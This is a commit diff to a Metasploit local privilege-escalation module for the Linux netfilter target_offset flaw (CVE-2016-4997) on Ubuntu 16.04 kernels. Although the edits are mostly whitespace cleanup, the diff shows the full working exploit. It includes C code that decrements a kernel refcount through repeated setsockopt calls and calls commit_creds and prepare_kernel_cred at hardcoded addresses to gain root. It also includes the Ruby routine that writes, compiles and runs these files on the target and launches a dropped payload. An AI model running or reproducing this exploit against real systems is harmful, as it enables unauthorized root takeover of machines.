forgot updates

Author: h00die

modules/exploits/linux/local/ubuntu_netfilter.rb

@@ -6,6 +6,8 @@
 require "msf/core"
 
 class MetasploitModule < Msf::Exploit::Local
+  Rank = GoodRanking
+
   include Msf::Post::File
   include Msf::Exploit::EXE
   include Msf::Exploit::FileDropper
@@ -19,7 +21,7 @@ def initialize(info = {})
           1. ip_tables.ko has to be loaded (root running iptables -L will do such)
           2. libc6-dev-i386 needs to be installed to compile
           Kernel 4.4.0-31-generic and newer are not vulnerable.
-          
+
           We write the ascii files and compile on target instead of locally since metasm bombs for not
           having cdefs.h (even if locally installed)
         },
@@ -38,7 +40,7 @@ def initialize(info = {})
         'References'     =>
           [
             [ 'EDB', '40049'],
-            [ 'CVE', '2016-4997'],
+            [ 'CVE', '2016-4997']
           ]
       ))
     register_options(
@@ -47,7 +49,7 @@ def initialize(info = {})
         OptString.new('MAXWAIT', [ true, 'Max time to wait for decrementation in seconds', 120 ])
       ], self.class)
   end
-  
+
   def check
     def iptables_loaded?()
       # user@ubuntu:~$ cat /proc/modules | grep ip_tables
@@ -63,7 +65,7 @@ def iptables_loaded?()
       return iptables.include?('ip_tables')
     end
 
-    def libs_installed?() 
+    def libs_installed?()
       # user@ubuntu:~$ dpkg --get-selections | grep libc6-dev-i386
       # libc6-dev-i386					install
       vprint_status('Checking if libc6-dev-i386 is installed')
@@ -75,7 +77,7 @@ def libs_installed?()
       end
       return lib.include?('install')
     end
-    
+
     def shemsham_installed?()
       # we want this to be false.
       vprint_status('Checking if shem or sham are installed')
@@ -89,7 +91,7 @@ def shemsham_installed?()
       end
       return (shemsham.include?('shem') or shemsham.include?('sham'))
     end
-    
+
     if libs_installed?() and iptables_loaded?() and not shemsham_installed?()
       return CheckCode::Appears
     else
@@ -104,7 +106,7 @@ def exploit
     pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
     payload_file = rand_text_alpha(8)
     payload_path = "#{datastore["WritableDir"]}/#{payload_file}"
-  
+
     # direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here
     decr = %q{
       #define _GNU_SOURCE
@@ -124,9 +126,9 @@ def exploit
       #include <linux/netlink.h>
       #include <fcntl.h>
       #include <sys/mman.h>
-       
+
       #define MALLOC_SIZE 66*1024
-       
+
       int decr(void *p) {
           int sock, optlen;
           int ret;
@@ -136,91 +138,91 @@ def exploit
           struct xt_entry_match *ematch;
           struct xt_standard_target *target;
           unsigned i;
-       
+
           sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
-       
+
           if (sock == -1) {
                   perror("socket");
                   return -1;
           }
-       
+
           data = malloc(MALLOC_SIZE);
-       
+
           if (data == NULL) {
               perror("malloc");
               return -1;
           }
-       
+
           memset(data, 0, MALLOC_SIZE);
-       
+
           repl = (struct ipt_replace *) data;
           repl->num_entries = 1;
           repl->num_counters = 1;
           repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
           repl->valid_hooks = 0;
-       
+
           entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
           entry->target_offset = 74; // overwrite target_offset
           entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);
-       
+
           ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));
-       
+
           strcpy(ematch->u.user.name, "icmp");
           void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
           uint64_t *me = (uint64_t *)(kmatch + 0x58);
           *me = 0xffffffff821de10d; // magic number!
-       
+
           uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
           *match = (uint32_t)kmatch;
-           
+
           ematch->u.match_size = (short)0xffff;
-       
+
           target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
           uint32_t *t = (uint32_t *)target;
           *t = (uint32_t)kmatch;
-       
+
           printf("[!] Decrementing the refcount. This may take a while...\n");
           printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");
-       
+
           for (i = 0; i < 0xffffff/2+1; i++) {
               ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
           }
-       
+
           close(sock);
           free(data);
           printf("[+] Done! Now run ./pwn\n");
-       
+
           return 0;
       }
-       
+
       int main(void) {
           void *stack;
           int ret;
-       
+
           printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
-       
+
           ret = unshare(CLONE_NEWUSER);
-       
+
           if (ret == -1) {
               perror("unshare");
               return -1;
           }
-       
+
           stack = (void *) malloc(65536);
-       
+
           if (stack == NULL) {
               perror("malloc");
               return -1;
           }
-       
+
           clone(decr, stack + 65536, CLONE_NEWNET, NULL);
-       
+
           sleep(1);
-       
+
           return 0;
       }
     }
-  
+
     # direct copy of code from exploit-db
     pwn = %q{
       #include <stdio.h>
@@ -231,57 +233,56 @@ def exploit
       #include <fcntl.h>
       #include <sys/mman.h>
       #include <assert.h>
-       
+
       #define MMAP_ADDR 0xff814e3000
       #define MMAP_OFFSET 0xb0
-       
+
       typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
       typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);
-       
+
       void __attribute__((regparm(3))) privesc() {
           commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
           prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
               commit_creds(prepare_kernel_cred((uint64_t)NULL));
       }
-       
+
       int main() {
           void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
           assert(payload == (void *)MMAP_ADDR);
-       
+
           void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);
-       
+
           memset(shellcode, 0, 0x300000);
-       
+
           void *ret = memcpy(shellcode, &privesc, 0x300);
           assert(ret == shellcode);
-       
+
           printf("[+] Escalating privs...\n");
-       
+
           int fd = open("/dev/ptmx", O_RDWR);
           close(fd);
-       
+
           assert(!getuid());
-       
+
           printf("[+] We've got root!");
-       
-              return execl("/bin/bash", "-sh", NULL);
+
+          return execl("/bin/bash", "-sh", NULL);
       }
     }
-  
+
     # the original code printed a line.  However, this is hard to detect due to threading.
     # so instead we can write a file in /tmp to catch.
     decr.gsub!(/printf\("\[\+\] Done\! Now run \.\/pwn\\n"\);/,
                "int fd2 = open(\"#{env_ready_file}\", O_RDWR|O_CREAT, 0777);close(fd2);" )
-    
+
     # patch in to run our payload
-    # patch in to run our payload as part of ksh
     pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/,
                "execl(\"#{payload_path}\", NULL);")
-  
+
     if check != CheckCode::Appears
       fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
     end
-  
+
     print_status "Writing desc executable to #{desc_file}.c"
     rm_f env_ready_file
     rm_f "#{desc_file}.c"
@@ -299,7 +300,7 @@ def exploit
     vprint_status "Executing #{desc_file}, may take around 35s to finish.  Watching for #{env_ready_file} to be created."
     cmd_exec("chmod +x #{desc_file}; #{desc_file}")
     sec_waited = 0
-    
+
     until sec_waited > datastore['MAXWAIT'] do
       Rex.sleep(1)
       if sec_waited % 10 == 0
@@ -313,7 +314,7 @@ def exploit
         write_file(payload_path, generate_payload_exe)
         cmd_exec("chmod 555 #{payload_path}")
         register_file_for_cleanup(payload_path)
-        
+
         # now lets drop part 2, and finish up.
         print_status "Writing pwn executable to #{pwn_file}.c"
         rm_f pwn_file